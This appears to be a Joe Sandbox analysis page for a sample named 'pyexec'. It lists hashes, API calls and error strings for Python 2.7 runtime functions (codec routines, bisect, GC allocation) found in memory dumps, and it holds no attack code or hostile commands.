Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_BuildDecodeParseTuple_UnicodeValue_
String ID: s*|z:ascii_decode
API String ID: 221429529-3412250790
Opcode ID: 61633c2b7e4a9cf65cc3b65ef18b9f5dba8e0fcd0cc726159021a2fac2888878
Instruction ID: ca9ed6dbec2d943aed6896e77aa1ddaeb71b50167af24120bd66d754faa0ce87
Opcode Fuzzy Hash: 61633c2b7e4a9cf65cc3b65ef18b9f5dba8e0fcd0cc726159021a2fac2888878
Instruction Fuzzy Hash: C921D4B1B01104AFDB18DBE5DC89EEA73F9EF84228B144268E81D97B41E734ED06C791

Function 6C12E710 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E731
PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object doesn't support slice deletion,?), ref: 6C12E7AA

Strings

null argument to internal routine, xrefs: 6C12E72B
'%.200s' object doesn't support slice deletion, xrefs: 6C12E7A4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: '%.200s' object doesn't support slice deletion$null argument to internal routine
API String ID: 4212644371-114744853
Opcode ID: d4182f446a43d45357a2d58893535873ae21a0903d6a7036e569405a1c8557b2
Instruction ID: d09e6acde9de5c71e018a69ad5b0b71820a17d346c8e86011dedeb99db928bdb
Opcode Fuzzy Hash: d4182f446a43d45357a2d58893535873ae21a0903d6a7036e569405a1c8557b2
Instruction Fuzzy Hash: 5811EB7A600604ABD710CE6AEC80B5673B8DF90335F144729ED6C87A80E778E9858AD0

Function 6C0A1810 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:unicode_internal_decode,?,?), ref: 6C0A182E
_Py_BuildValue_SizeT.PYTHON27(6C1EA948,?,00000000), ref: 6C0A185E

Strings

O|z:unicode_internal_decode, xrefs: 6C0A1821

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Size$Arg_BuildParseTuple_Value_
String ID: O|z:unicode_internal_decode
API String ID: 3671984487-1180212314
Opcode ID: a67bdb7371ab2994ce291f474f431b5d32d86024a5ddc103d69ddc7ee3f86efa
Instruction ID: cc72ff5240acd349257f32650531407a0613043a673e7fb480360431dc94e9b5
Opcode Fuzzy Hash: a67bdb7371ab2994ce291f474f431b5d32d86024a5ddc103d69ddc7ee3f86efa
Instruction Fuzzy Hash: 4911A2B6E00108ABD704DAD4EC45EFA77FCEB84228F144699EC1993741F635EE1687E1

Function 6C0A64F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0A6528
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0A6560

Strings

P&0l, xrefs: 6C0A6575, 6C0A657E, 6C0A6586
GC object already tracked, xrefs: 6C0A655B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: GC object already tracked$P&0l
API String ID: 2067638752-2850754575
Opcode ID: bf2079e0c3593c4c06cbe065a695085baad9d81405f1782e44b7397475250151
Instruction ID: 8e0022e2ab8ffcace595708ce4841c4562a08fbc486918e1b45952514f4725f2
Opcode Fuzzy Hash: bf2079e0c3593c4c06cbe065a695085baad9d81405f1782e44b7397475250151
Instruction Fuzzy Hash: D6218DB2A006018FCB04CFBDD845256B7F4FB49324B10876ED828C7B96EB71E496CB80

Function 6C12F6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON27(?,?), ref: 6C12F6B4
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F73A

Strings

null argument to internal routine, xrefs: 6C12F734

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrErr_Object_String
String ID: null argument to internal routine
API String ID: 3019503910-2212441169
Opcode ID: c1bf0102a461e0ac370d88e575ad60ed6e1594b0e3985e23f6d479d7a26c8799
Instruction ID: 0f74479f4c19f56d220e303bf5a8ad18cbaab2bd1ee62cbfc98a4ff646ef9e88
Opcode Fuzzy Hash: c1bf0102a461e0ac370d88e575ad60ed6e1594b0e3985e23f6d479d7a26c8799
Instruction Fuzzy Hash: D311E67A6001225BD7149EA9EC40ED773A9EB90238F140328E97887B80E739ED96C7D1

Function 6C0B87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|nn:scanner,?,?,?), ref: 6C0B87E8
PyObject_Malloc.PYTHON27(00000368), ref: 6C0B8801
PyErr_NoMemory.PYTHON27 ref: 6C0B880D

Strings

O|nn:scanner, xrefs: 6C0B87D6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Err_MallocMemoryObject_ParseSizeTuple_
String ID: O|nn:scanner
API String ID: 3578119790-1243287501
Opcode ID: e5497ba797539b4d3f10d8226144f572b6d0c48d243d01c4ec5da91f39d87d2f
Instruction ID: 9cbe0f16de1e49b869f6cb6c3fd9d26528af6c7cdbadfd1f74729360dde22cf8
Opcode Fuzzy Hash: e5497ba797539b4d3f10d8226144f572b6d0c48d243d01c4ec5da91f39d87d2f
Instruction Fuzzy Hash: 6E21ABB2A04109AFCB00DF99EC809DE77FCEB45328B148397E9199B755D731DA0587D1

Function 6C0A2F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:latin_1_encode,?,?), ref: 6C0A2F9E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2FB4

Strings

O|z:latin_1_encode, xrefs: 6C0A2F91

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_FromObjectParseSizeTuple_Unicode
String ID: O|z:latin_1_encode
API String ID: 22654875-4126519268
Opcode ID: 515c881e2eb80461a1118f28496a4475712a7d93e178619d98663562589441c2
Instruction ID: 8588d560a2f82d740996a5fb5a866f593c0743221deaad7dfac184c59d1607cc
Opcode Fuzzy Hash: 515c881e2eb80461a1118f28496a4475712a7d93e178619d98663562589441c2
Instruction Fuzzy Hash: 9D21CDB5A00104AFD700DBD9DC45F8A77F8EF88328F1442A4E80897742E730EE0ACB91

Function 6C0A3030 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:ascii_encode,?,?), ref: 6C0A304E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A3064

Strings

O|z:ascii_encode, xrefs: 6C0A3041

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_FromObjectParseSizeTuple_Unicode
String ID: O|z:ascii_encode
API String ID: 22654875-646729116
Opcode ID: 2bcfb5e2340c647c1d4127977ec9143cb44079dcd239fb7765049d50d0e20093
Instruction ID: d58e74adb8cdeaa2adfcc9834c9e8cabd9a6158fb7d337cc0575bdde4486fa26
Opcode Fuzzy Hash: 2bcfb5e2340c647c1d4127977ec9143cb44079dcd239fb7765049d50d0e20093
Instruction Fuzzy Hash: 0521A275A00504AFD700DBD9DC45F9AB7F8EF48328F1442A4E80897742E731EE05CB91

Function 6C0A2E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:unicode_escape_encode,?,?), ref: 6C0A2E3E
PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 6C0A2E54

Strings

O|z:unicode_escape_encode, xrefs: 6C0A2E31

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_FromObjectParseSizeTuple_Unicode
String ID: O|z:unicode_escape_encode
API String ID: 22654875-2688519145
Opcode ID: 6919d7d80c46d8c51607b9a8ebbfd9852e354e7a251266f1b81d281fb96da62c
Instruction ID: eb8355e2d4f22a86762edec23b7904549fe609fed031852334e9923d5167c7cb
Opcode Fuzzy Hash: 6919d7d80c46d8c51607b9a8ebbfd9852e354e7a251266f1b81d281fb96da62c
Instruction Fuzzy Hash: 7911AF75A00104AFCB00DBD9DC49F8A77F9EF84228F2546A4E80C97B41E731EE46CB91

Function 6C12E4D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,?,6C12B400,?,00000000,?), ref: 6C12E4F1

Strings

null argument to internal routine, xrefs: 6C12E4EB
'%.200s' object does not support item assignment, xrefs: 6C12E54F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: '%.200s' object does not support item assignment$null argument to internal routine
API String ID: 1450464846-3379225667
Opcode ID: 1d7e656992d6ad110e123c6f717a7634c6699affb57492d50eab0501a8781e3a
Instruction ID: ab986d2d671b49d12c35fd8691f54a98af164e61a0be3f54ba0bef397bdeef50
Opcode Fuzzy Hash: 1d7e656992d6ad110e123c6f717a7634c6699affb57492d50eab0501a8781e3a
Instruction Fuzzy Hash: 7111A77E7505009BC700CE6AFC80E5673B8EFC4639B144729E92C87A80E625E98586A0

Function 6C12E570 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,?,6C12B4E5,?,00000000), ref: 6C12E591

Strings

null argument to internal routine, xrefs: 6C12E58B
'%.200s' object doesn't support item deletion, xrefs: 6C12E5ED

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: '%.200s' object doesn't support item deletion$null argument to internal routine
API String ID: 1450464846-2772571300
Opcode ID: 2549360d3e6d3cdc94c426f13de0118ff306b171ec07d64ddb1c3fbd603797c9
Instruction ID: 706d504e27435a74c27da90b306e8abd1da5d7b2b042c5427f38af68b77eb415
Opcode Fuzzy Hash: 2549360d3e6d3cdc94c426f13de0118ff306b171ec07d64ddb1c3fbd603797c9
Instruction Fuzzy Hash: 1B11E97E7105049BC710CA7AFC80B5673A8DFD5639B14472AF92C87E80E735E995C6E0

Function 6C0A1590 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|ss:encode,?,?,?), ref: 6C0A15B4
_PyCodec_Lookup.PYTHON27(?), ref: 6C0A15DD

Strings

O|ss:encode, xrefs: 6C0A15A8
ascii, xrefs: 6C0A15CC, 6C0A15DC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Codec_LookupParseSizeTuple_
String ID: O|ss:encode$ascii
API String ID: 2652231755-2603981544
Opcode ID: 9a6c235aba86446a7af202b2031cc1b0dc627a8eed3e4a91593987a2617bfe92
Instruction ID: 86962f0398d451614faf52b0ebc5460194395b294c2eda69cbd192aacb82ca93
Opcode Fuzzy Hash: 9a6c235aba86446a7af202b2031cc1b0dc627a8eed3e4a91593987a2617bfe92
Instruction Fuzzy Hash: 041186B7E00118ABCB00DFD9AC409DEB7FCDB48228B1542A6E809D7701E631EE068BD1

Function 6C0A1620 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,O|ss:decode,?,?,?), ref: 6C0A1644
_PyCodec_Lookup.PYTHON27(?), ref: 6C0A166D

Strings

O|ss:decode, xrefs: 6C0A1638
ascii, xrefs: 6C0A165C, 6C0A166C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Codec_LookupParseSizeTuple_
String ID: O|ss:decode$ascii
API String ID: 2652231755-598823363
Opcode ID: 3e1cc0850c9ee648418a5e4f9d7cf2fc22d4c447ef931fa7e296dba57ac5ad4a
Instruction ID: 556bac2e08d862f7388530db31efbd064a6fb130188fa8f025dcbb8361ab6a48
Opcode Fuzzy Hash: 3e1cc0850c9ee648418a5e4f9d7cf2fc22d4c447ef931fa7e296dba57ac5ad4a
Instruction Fuzzy Hash: 4611A9B7E00118ABCB01DED9AC409DEB7FDEB54228B154296EC18D7701E231DE0687E1

Function 6C164680 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1646D9
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C164713

Strings

P&0l, xrefs: 6C1646EE, 6C1646F6, 6C1646FE
GC object already tracked, xrefs: 6C1646D4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalMallocObject_
String ID: GC object already tracked$P&0l
API String ID: 2067638752-2850754575
Opcode ID: 8d08bed79c20b6b50e00e1f575a3a48571571ffdfe050d0061f923cb5f54f5ea
Instruction ID: a92366d57a4038272671fda46383baad0c5a6c4b49eefc75096b7d07bf34f5ee
Opcode Fuzzy Hash: 8d08bed79c20b6b50e00e1f575a3a48571571ffdfe050d0061f923cb5f54f5ea
Instruction Fuzzy Hash: 1611E1B66017068FCB10CF1AC900656B7F8FB5A324B10866EDC69C7B51D772E452CF90

Function 6C0A16F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s#|z:escape_decode,?,?,?), ref: 6C0A1712
PyString_DecodeEscape.PYTHON27(?,?,00000000,00000000,00000000), ref: 6C0A1736

Strings

s#|z:escape_decode, xrefs: 6C0A1705

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeEscapeParseSizeString_Tuple_
String ID: s#|z:escape_decode
API String ID: 122690344-3354574274
Opcode ID: 5214df8a4509a53a4c07cd61e97fcc66d6f3d22af2b19c1957509d3f6ece82eb
Instruction ID: f268150852281f0499b7b856bda45929796240190c5f39ebf11784fb6d2f07bf
Opcode Fuzzy Hash: 5214df8a4509a53a4c07cd61e97fcc66d6f3d22af2b19c1957509d3f6ece82eb
Instruction Fuzzy Hash: 4501C4B6A00108ABC710DAD99C45FDF77FCDB84628F144294FC0897741E6309E1683E1

Function 6C0A1120 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OO|nn:bisect_right,6C310FC0,?,?,?,?), ref: 6C0A1156
PyInt_FromLong.PYTHON27(00000000), ref: 6C0A1190

Strings

OO|nn:bisect_right, xrefs: 6C0A1141

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_FromInt_KeywordsLongParseTuple
String ID: OO|nn:bisect_right
API String ID: 1763244399-810412690
Opcode ID: 54ff0905dced950340b79661860c780b23db998ca65ba6a5c038460660ac3d27
Instruction ID: b7c7758de46b229346a72088b6802cd8a650d12788baa3c8e68c4fc9da75b791
Opcode Fuzzy Hash: 54ff0905dced950340b79661860c780b23db998ca65ba6a5c038460660ac3d27
Instruction Fuzzy Hash: 4D1182B5D00209ABDB04DAE4DC41FFFB3BDEB44618F504688F928A3681F771AB158791

Function 6C16C160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000014,00000000,00000000,?,6C16C2A1,00000000,00000000,00000000,?,?,?,?,?), ref: 6C16C16E
Py_FatalError.PYTHON27(GC object already tracked,?,?,?,?,?), ref: 6C16C1CE

Strings

P&0l, xrefs: 6C16C1E3, 6C16C1EC, 6C16C1F4
GC object already tracked, xrefs: 6C16C1C9

